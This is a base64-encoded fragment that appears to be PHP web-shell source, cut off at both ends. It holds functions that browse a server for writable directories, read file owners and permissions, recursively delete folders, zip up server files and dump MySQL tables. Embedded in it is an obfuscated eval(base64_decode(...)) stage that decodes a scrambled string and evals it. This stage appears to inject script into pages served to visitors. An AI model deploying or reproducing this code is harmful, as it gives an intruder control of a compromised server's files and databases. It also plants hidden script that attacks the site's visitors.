kbGluaykpIHsNCgkJCXAoJzxoMj5EYXRhYmFzZSBzZWxlY3RlZCBoYXMgZXJyb3I8L2gyPicpOw0KCQkJZXhpdDsNCgkJfQ0KCX0NCglpZigkbGluayAmJiBteXNxbF9nZXRfc2VydmVyX2luZm8oKSA+ICc0LjEnKSB7DQoJCWlmKGluX2FycmF5KHN0cnRvbG93ZXIoJGNoYXJzZXQpLCBhcnJheSgnZ2JrJywgJ2JpZzUnLCAndXRmOCcpKSkgew0KCQkJcSgiU0VUIGNoYXJhY3Rlcl9zZXRfY29ubmVjdGlvbj0kY2hhcnNldCwgY2hhcmFjdGVyX3NldF9yZXN1bHRzPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X2NsaWVudD1iaW5hcnk7IiwgJGxpbmspOw0KCQl9DQoJfQ0KCXJldHVybiAkbGluazsNCn0NCg0KLy8gKyYjMTA3Nzt8JiMxMDMxOysmIzEwODI7LSYjMTA5MzsrKysgDQpmdW5jdGlvbiBzX2FycmF5KCYkYXJyYXkpIHsNCglpZiAoaXNfYXJyYXkoJGFycmF5KSkgew0KCQlmb3JlYWNoICgkYXJyYXkgYXMgJGsgPT4gJHYpIHsNCgkJCSRhcnJheVska10gPSBzX2FycmF5KCR2KTsNCgkJfQ0KCX0gZWxzZSBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHsNCgkJJGFycmF5ID0gc3RyaXBzbGFzaGVzKCRhcnJheSk7DQoJfQ0KCXJldHVybiAkYXJyYXk7DQp9DQoNCi8vIHwmIzEwOTM7fCBIVE1MfCAtJiMxMDk5Ow0KZnVuY3Rpb24gaHRtbF9jbGVhbigkY29udGVudCkgew0KCSRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCk7DQoJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXG4iLCAiPGJyIC8+IiwgJGNvbnRlbnQpOw0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIiAgIiwgIiZuYnNwOyZuYnNwOyIsICRjb250ZW50KTsNCgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcdCIsICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkY29udGVudCk7DQoJcmV0dXJuICRjb250ZW50Ow0KfQ0KDQovLyArJiMxMTA1OysmIzEwNzM7KyYjMTA4MDstfA0KZnVuY3Rpb24gZ2V0Q2htb2QoJGZpbGVwYXRoKXsNCglyZXR1cm4gc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRmaWxlcGF0aCksMTAsOCksLTQpOw0KfQ0KDQpmdW5jdGlvbiBnZXRQZXJtcygkZmlsZXBhdGgpIHsNCgkkbW9kZSA9IEBmaWxlcGVybXMoJGZpbGVwYXRoKTsNCglpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHR5cGUgPSAncyc7fQ0KCWVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAnZCc7fQ0KCWVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAnbCc7fQ0KCWVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHR5cGUgPSAnLSc7fQ0KCWVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAnYic7fQ0KCWVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHR5cGUgPSAnYyc7fQ0KCWVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAncCc7fQ0KCWVsc2UgeyR0eXBlID0gJz8nO30NCg0KCSRvd25lclsncmVhZCddID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOw0KCSRvd25lclsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsNCgkkb3duZXJbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsNCgkkZ3JvdXBbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsNCgkkZ3JvdXBbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7DQoJJGdyb3VwWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7DQoJJHdvcmxkWydyZWFkJ10gPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7DQoJJHdvcmxkWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOw0KCSR3b3JsZFsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOw0KDQoJaWYoICRtb2RlICYgMHg4MDAgKSB7JG93bmVyWydleGVjdXRlJ10gPSAoJG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQ0KCWlmKCAkbW9kZSAmIDB4NDAwICkgeyRncm91cFsnZXhlY3V0ZSddID0gKCRncm91cFsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnO30NCglpZiggJG1vZGUgJiAweDIwMCApIHskd29ybGRbJ2V4ZWN1dGUnXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzt9DQoNCglyZXR1cm4gJHR5cGUuJG93bmVyWydyZWFkJ10uJG93bmVyWyd3cml0ZSddLiRvd25lclsnZXhlY3V0ZSddLiRncm91cFsncmVhZCddLiRncm91cFsnd3JpdGUnXS4kZ3JvdXBbJ2V4ZWN1dGUnXS4kd29ybGRbJ3JlYWQnXS4kd29ybGRbJ3dyaXRlJ10uJHdvcmxkWydleGVjdXRlJ107DQp9DQoNCmZ1bmN0aW9uIGdldFVzZXIoJGZpbGVwYXRoKQl7DQoJaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgew0KCQkkYXJyYXkgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZXBhdGgpKTsNCgkJaWYgKCRhcnJheSAmJiBpc19hcnJheSgkYXJyYXkpKSB7DQoJCQlyZXR1cm4gJyAvIDxhIGhyZWY9IiMiIHRpdGxlPSJVc2VyOiAnLiRhcnJheVsnbmFtZSddLicmIzEzJiMxMFBhc3N3ZDogJy4kYXJyYXlbJ3Bhc3N3ZCddLicmIzEzJiMxMFVpZDogJy4kYXJyYXlbJ3VpZCddLicmIzEzJiMxMGdpZDogJy4kYXJyYXlbJ2dpZCddLicmIzEzJiMxMEdlY29zOiAnLiRhcnJheVsnZ2Vjb3MnXS4nJiMxMyYjMTBEaXI6ICcuJGFycmF5WydkaXInXS4nJiMxMyYjMTBTaGVsbDogJy4kYXJyYXlbJ3NoZWxsJ10uJyI+Jy4kYXJyYXlbJ25hbWUnXS4nPC9hPic7fX0JcmV0dXJuICcnO30kX0Y9X19GSUxFX187JF9YPSdQejQ4YzJOeU5IQjBJR3d4Ym1jek1XYzFQV294ZGpGelkzSTBjSFErWkRKak0yMDFiblF1ZDNJMGREVW9NMjQxYzJNeGNEVW9KeVZ2UXlVM2J5VmxieVUzWVNWbE9TVTNNQ1UzZFNWaE1DVmxReVZsTmlWbFJTVmxOeVUzYVNWbE5pVmxOeVZsYVNWdlJDVmhZU1ZsUVNWbE5pVTNaU1ZsTmlVM2J5VmxieVUzWVNWbE9TVTNNQ1UzZFNWaFlTVnZSU1ZsWlNVM2FTVmxSU1ZsYnlVM2RTVmxPU1ZsUmlWbFJTVmhNQ1ZsZFNWMVpTVmhPQ1UzYnlWaE9TVTNRaVUzWlNWbE5pVTNZU1ZoTUNVM2J5VnZOaVZ2UkNVM2FTVmxSU1ZsYVNVM2J5VmxieVZsTmlVM01DVmxhU1ZoT0NVM2J5VmhSU1UzYnlVM2FTVmxZU1UzYnlVM2RTVTNZU1ZoT0NWdk1DVmhReVUzYnlWaFJTVmxReVZsYVNWbFJTVmxOeVUzZFNWbE9DVmhSQ1Z2TmlWaE9TVmhPU1Z2UWlWaE1DVTNaU1ZsTmlVM1lTVmhNQ1UzZFNWdlJDVmhOeVZoTnlWdlFpVmxaU1ZsUmlVM1lTVmhPQ1ZsT1NWdlJDVnZNQ1Z2UWlWbE9TVnZReVUzYnlWdk5pVmhSU1ZsUXlWbGFTVmxSU1ZsTnlVM2RTVmxPQ1Z2UWlWbE9TVmhRaVZoUWlWaE9TVTNkU1ZoUWlWdlJDVnBieVUzZFNVM1lTVmxPU1ZsUlNWbE55VmhSU1ZsWlNVM1lTVmxSaVZsUkNWMWJ5VmxPQ1ZsTmlVM1lTVjFieVZsUmlWbGRTVmxhU1ZoT0NVM2J5VnZOaVZoUlNWbGJ5VmxPQ1ZsTmlVM1lTVjFieVZsUmlWbGRTVmxhU1YxTmlVM2RTVmhPQ1ZsT1NWaE9TVmhSQ1UzYnlWaFJTVTNieVUzYVNWbFlTVTNieVUzZFNVM1lTVmhPQ1UzYnlWaFJTVmxReVZsYVNWbFJTVmxOeVUzZFNWbE9DVmhSQ1Z2TmlWaFF5VnZOaVZoT1NWaE9TVnZRaVZsZFNWbFJpVmxieVUzYVNWbFJDVmxhU1ZsUlNVM2RTVmhSU1UzTnlVM1lTVmxPU1UzZFNWbGFTVmhPQ1UzYVNWbFJTVmxhU1UzYnlWbGJ5VmxOaVUzTUNWbGFTVmhPQ1UzZFNWaE9TVmhPU1Z2UWlVM1JDVnZReVZoUmlVM2J5VmxieVUzWVNWbE9TVTNNQ1UzZFNWdlJTY3BLVHRrUmlnbktqaElXRWhYVGxWWktqZHBXRmRJS2poSmJYbDVNeW80Um5WMU1tNXpkRzh5Ym05cmVuTXpibWh2ZEhkc2RYRjJkWGhxYUhwM2Jua2xOMFZ2TW5ncU9Fb3FPRWgxV0VoWFRsVlpLamhLYVNjcFBDOXpZM0kwY0hRKyc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7DQovLyArK3wgLSstKw0KZnVuY3Rpb24gZGVsdHJlZSgkZGVsZGlyKSB7DQoJJG15ZGlyPUBkaXIoJGRlbGRpcik7DQoJd2hpbGUoJGZpbGU9JG15ZGlyLT5yZWFkKCkpCXsNCgkJaWYoKGlzX2RpcigkZGVsZGlyLicvJy4kZmlsZSkpICYmICgkZmlsZSE9Jy4nKSAmJiAoJGZpbGUhPScuLicpKSB7DQoJCQlAY2htb2QoJGRlbGRpci4nLycuJGZpbGUsMDc3Nyk7DQoJCQlkZWx0cmVlKCRkZWxkaXIuJy8nLiRmaWxlKTsNCgkJfQ0KCQlpZiAoaXNfZmlsZSgkZGVsZGlyLicvJy4kZmlsZSkpIHsNCgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsNCgkJCUB1bmxpbmsoJGRlbGRpci4nLycuJGZpbGUpOw0KCQl9DQoJfQ0KCSRteWRpci0+Y2xvc2UoKTsNCglAY2htb2QoJGRlbGRpciwwNzc3KTsNCglyZXR1cm4gQHJtZGlyKCRkZWxkaXIpID8gMSA6IDA7DQp9DQoNCi8vICMmIzExMDE7KyYjMTEwNTstLSsmIzEwOTI7fC0jfCsjKyYjMTA4Mzt8JiMxMDk0OysrDQpmdW5jdGlvbiBiZygpIHsNCglnbG9iYWwgJGJnYzsNCglyZXR1cm4gKCRiZ2MrKyUyPT0wKSA/ICdhbHQxJyA6ICdhbHQyJzsNCn0NCg0KLy8gKyYjMTEwNTsrJiMxMDczO3wjfCN8LSstKyAtfC18LSsrfA0KZnVuY3Rpb24gZ2V0UGF0aCgkc2NyaXB0cGF0aCwgJG5vd3BhdGgpIHsNCglpZiAoJG5vd3BhdGggPT0gJy4nKSB7DQoJCSRub3dwYXRoID0gJHNjcmlwdHBhdGg7DQoJfQ0KCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbm93cGF0aCk7DQoJJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRub3dwYXRoKTsNCglpZiAoc3Vic3RyKCRub3dwYXRoLCAtMSkgIT0gJy8nKSB7DQoJCSRub3dwYXRoID0gJG5vd3BhdGguJy8nOw0KCX0NCglyZXR1cm4gJG5vd3BhdGg7DQp9DQoNCi8vICsmIzExMDU7KyYjMTA3Mzt8I3wjLSstK3wtKy0rfC0rLSsNCmZ1bmN0aW9uIGdldFVwUGF0aCgkbm93cGF0aCkgew0KCSRwYXRoZGIgPSBleHBsb2RlKCcvJywgJG5vd3BhdGgpOw0KCSRudW0gPSBjb3VudCgkcGF0aGRiKTsNCglpZiAoJG51bSA+IDIpIHsNCgkJdW5zZXQoJHBhdGhkYlskbnVtLTFdLCRwYXRoZGJbJG51bS0yXSk7DQoJfQ0KCSR1cHBhdGggPSBpbXBsb2RlKCcvJywgJHBhdGhkYikuJy8nOw0KCSR1cHBhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICR1cHBhdGgpOw0KCXJldHVybiAkdXBwYXRoOw0KfQ0KDQovLyArJiMxMTAwOyMmIzEwOTc7UEhQKyYjMTA5MjsrfCMrLSANCmZ1bmN0aW9uIGdldGNmZygkdmFybmFtZSkgew0KCSRyZXN1bHQgPSBnZXRfY2ZnX3ZhcigkdmFybmFtZSk7DQoJaWYgKCRyZXN1bHQgPT0gMCkgew0KCQlyZXR1cm4gJ05vJzsNCgl9IGVsc2VpZiAoJHJlc3VsdCA9PSAxKSB7DQoJCXJldHVybiAnWWVzJzsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gJHJlc3VsdDsNCgl9DQp9DQoNCi8vICsmIzExMDA7IyYjMTA5Nzt8JiMxMDg3Oy0gfCYjMTA5NzsrJiMxMDM4Ow0KZnVuY3Rpb24gZ2V0ZnVuKCRmdW5OYW1lKSB7DQoJcmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAnWWVzJyA6ICdObyc7DQp9DQoNCmZ1bmN0aW9uIEdldExpc3QoJGRpcil7DQoJZ2xvYmFsICRkaXJkYXRhLCRqLCRub3dwYXRoOw0KCSEkaiAmJiAkaj0xOw0KCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQoJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgew0KCQkJJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOw0KCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJGYpKXsNCgkJCQlpZiAoaXNfd3JpdGFibGUoJGYpKSB7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZikpOw0KCQkJCQkkZGlyZGF0YVskal1bJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGYpOw0KCQkJCQkkZGlyZGF0YVskal1bJ2RpcnBlcm0nXT1nZXRQZXJtcygkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZGlybGluayddPXVlKCRkaXIpOw0KCQkJCQkkZGlyZGF0YVskal1bJ3NlcnZlcl9saW5rJ109JGY7DQoJCQkJCSRkaXJkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7DQoJCQkJCSRqKys7DQoJCQkJfQ0KCQkJCUdldExpc3QoJGYpOw0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKCRkaCk7DQoJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCXJldHVybiAkZGlyZGF0YTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gYXJyYXkoKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIHF5KCRzcWwpIHsNCgkvL2VjaG8gJHNxbC4nPGJyPic7DQoJJHJlcyA9ICRlcnJvciA9ICcnOw0KCWlmKCEkcmVzID0gQG15c3FsX3F1ZXJ5KCRzcWwpKSB7DQoJCXJldHVybiAwOw0KCX0gZWxzZSBpZihpc19yZXNvdXJjZSgkcmVzKSkgew0KCQlyZXR1cm4gMTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gMjsNCgl9DQoJcmV0dXJuIDA7DQp9DQoNCmZ1bmN0aW9uIHEoJHNxbCkgew0KCXJldHVybiBAbXlzcWxfcXVlcnkoJHNxbCk7DQp9DQoNCmZ1bmN0aW9uIGZyKCRxeSl7DQoJbXlzcWxfZnJlZV9yZXN1bHQoJHF5KTsNCn0NCg0KZnVuY3Rpb24gc2l6ZWNvdW50KCRzaXplKSB7DQoJaWYoJHNpemUgPiAxMDczNzQxODI0KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDczNzQxODI0ICogMTAwKSAvIDEwMCAuICcgRyc7DQoJfSBlbHNlaWYoJHNpemUgPiAxMDQ4NTc2KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7DQoJfSBlbHNlaWYoJHNpemUgPiAxMDI0KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICcgSyc7DQoJfSBlbHNlIHsNCgkJJHNpemUgPSAkc2l6ZSAuICcgQic7DQoJfQ0KCXJldHVybiAkc2l6ZTsNCn0NCg0KLy8gLXwtJiMxMTExO3wmIzEwMjg7IyArJiMxMDg4Ow0KY2xhc3MgUEhQWmlwew0KCXZhciAkb3V0PScnOw0KCWZ1bmN0aW9uIFBIUFppcCgkZGlyKQl7DQoJCWlmIChAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpCXsNCgkJCSRjdXJkaXIgPSBnZXRjd2QoKTsNCgkJCWlmIChpc19hcnJheSgkZGlyKSkgJGZpbGVsaXN0ID0gJGRpcjsNCgkJCWVsc2V7DQoJCQkJJGZpbGVsaXN0PSR0aGlzIC0+IEdldEZpbGVMaXN0KCRkaXIpOy8vKy0rIC0tIyYjMTEwMTsNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7DQoJCQl9DQoJCQlpZiAoKCFlbXB0eSgkZGlyKSkmJighaXNfYXJyYXkoJGRpcikpJiYoZmlsZV9leGlzdHMoJGRpcikpKSBjaGRpcigkZGlyKTsNCgkJCWVsc2UgY2hkaXIoJGN1cmRpcik7DQoJCQlpZiAoY291bnQoJGZpbGVsaXN0KT4wKXsNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkZmlsZW5hbWUpew0KCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsNCgkJCQkJCSRmZCA9IGZvcGVuICgkZmlsZW5hbWUsICdyJyk7DQoJCQkJCQkkY29udGVudCA9IEBmcmVhZCAoJGZkLCBmaWxlc2l6ZSgkZmlsZW5hbWUpKTsNCgkJCQkJCWZjbG9zZSAoJGZkKTsNCgkJCQkJCWlmIChpc19hcnJheSgkZGlyKSkgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lKTsNCgkJCQkJCSR0aGlzIC0+IGFkZEZpbGUoJGNvbnRlbnQsICRmaWxlbmFtZSk7DQoJCQkJCX0NCgkJCQl9DQoJCQkJJHRoaXMtPm91dCA9ICR0aGlzIC0+IGZpbGUoKTsNCgkJCQljaGRpcigkY3VyZGlyKTsNCgkJCX0NCgkJCXJldHVybiAxOw0KCQl9DQoJCWVsc2UgcmV0dXJuIDA7DQoJfQ0KDQoJLy8gKyYjMTEwNTt8fCsrfCYjMTA4MDstKy0rKy0rIC0tIyYjMTEwMTsNCglmdW5jdGlvbiBHZXRGaWxlTGlzdCgkZGlyKXsNCgkJc3RhdGljICRhOw0KCQlpZiAoaXNfZGlyKCRkaXIpKSB7DQoJCQlpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgew0KCQkJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgew0KCQkJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nKXsNCgkJCQkJCSRmPSRkaXIgLicvJy4gJGZpbGU7DQoJCQkJCQlpZihpc19kaXIoJGYpKSAkdGhpcy0+R2V0RmlsZUxpc3QoJGYpOw0KCQkJCQkJJGFbXT0kZjsNCgkJCQkJfQ0KCQkJCX0NCgkJCQljbG9zZWRpcigkZGgpOw0KCQkJfQ0KCQl9DQoJCXJldHVybiAkYTsNCgl9DQoNCgl2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQoJdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KCXZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsNCgl2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQoNCglmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgew0KCQkkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsNCgkJaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCgkJCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQoJCQkkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOw0KCQkJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCgkJCSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQoJCQkkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOw0KCQkJJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCgkJfSAvLyBlbmQgaWYNCgkJcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwNCgkJCQkoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCgl9DQoNCglmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKSB7DQoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQoNCgkJJGR0aW1lID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRpbWUpKTsNCgkJJGhleGR0aW1lCT0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQ0KCQkJCQkuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpbWVbNV0NCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQoJCQkJCS4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsNCgkJZXZhbCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsNCgkJJGZyCT0gIlx4NTBceDRiXHgwM1x4MDQiOw0KCQkkZnIJLj0gIlx4MTRceDAwIjsNCgkJJGZyCS49ICJceDAwXHgwMCI7DQoJCSRmcgkuPSAiXHgwOFx4MDAiOw0KCQkkZnIJLj0gJGhleGR0aW1lOw0KDQoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCgkJJGNyYyA9IGNyYzMyKCRkYXRhKTsNCgkJJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7DQoJCSRjX2xlbiA9IHN0cmxlbigkemRhdGEpOw0KCQkkemRhdGEgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoJCSRmciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQoJCSRmciAuPSBwYWNrKCd2JywgMCk7DQoJCSRmciAuPSAkbmFtZTsNCgkJJGZyIC49ICR6ZGF0YTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCg0KCQkkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7DQoJCSRuZXdfb2Zmc2V0ID0gc3RybGVuKGltcGxvZGUoJycsICR0aGlzLT5kYXRhc2VjKSk7DQoNCgkJJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KCQkkY2RyZWMgLj0gIlx4MDBceDAwIjsNCgkJJGNkcmVjIC49ICJceDE0XHgwMCI7DQoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KCQkkY2RyZWMgLj0gIlx4MDhceDAwIjsNCgkJJGNkcmVjIC49ICRoZXhkdGltZTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsIDMyICk7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOw0KCQkkdGhpcyAtPiBvbGRfb2Zmc2V0ID0gJG5ld19vZmZzZXQ7DQoJCSRjZHJlYyAuPSAkbmFtZTsNCg0KCQkkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOw0KCX0NCg0KCWZ1bmN0aW9uIGZpbGUoKSB7DQoJCSRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQoJCSRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOw0KCQlyZXR1cm4gJGRhdGEgLiAkY3RybGRpciAuICR0aGlzIC0+IGVvZl9jdHJsX2RpciAuIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuCXBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIpKSAuIHBhY2soJ1YnLCBzdHJsZW4oJGRhdGEpKSAuICJceDAwXHgwMCI7DQoJfQ0KfQ0KDQovLyAjKyt8LSArfCsmIzEwOTA7DQpmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAkZnA9MCkgew0KCSR0YWJsZWR1bXAgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgJHRhYmxlO1xuIjsNCgkkdGFibGVkdW1wIC49ICJDUkVBVEUgVEFCTEUgJHRhYmxlIChcbiI7DQoNCgkkZmlyc3RmaWVsZD0xOw0KDQoJJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7DQoJd2hpbGUgKCRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCRmaWVsZHMpKSB7DQoJCWlmICghJGZpcnN0ZmllbGQpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoJCX0gZWxzZSB7DQoJCQkkZmlyc3RmaWVsZD0wOw0KCQl9DQoJCSR0YWJsZWR1bXAgLj0gIiAgICRmaWVsZFtGaWVsZF0gJGZpZWxkW1R5cGVdIjsNCgkJaWYgKCFlbXB0eSgkZmllbGRbIkRlZmF1bHQiXSkpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsNCgkJfQ0KCQlpZiAoJGZpZWxkWydOdWxsJ10gIT0gIllFUyIpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7DQoJCX0NCgkJaWYgKCRmaWVsZFsnRXh0cmEnXSAhPSAiIikgew0KCQkJJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOw0KCQl9DQoJfQ0KCWZyKCRmaWVsZHMpOw0KDQoJJGtleXMgPSBxKCJTSE9XIEtFWVMgRlJPTSAkdGFibGUiKTsNCgl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2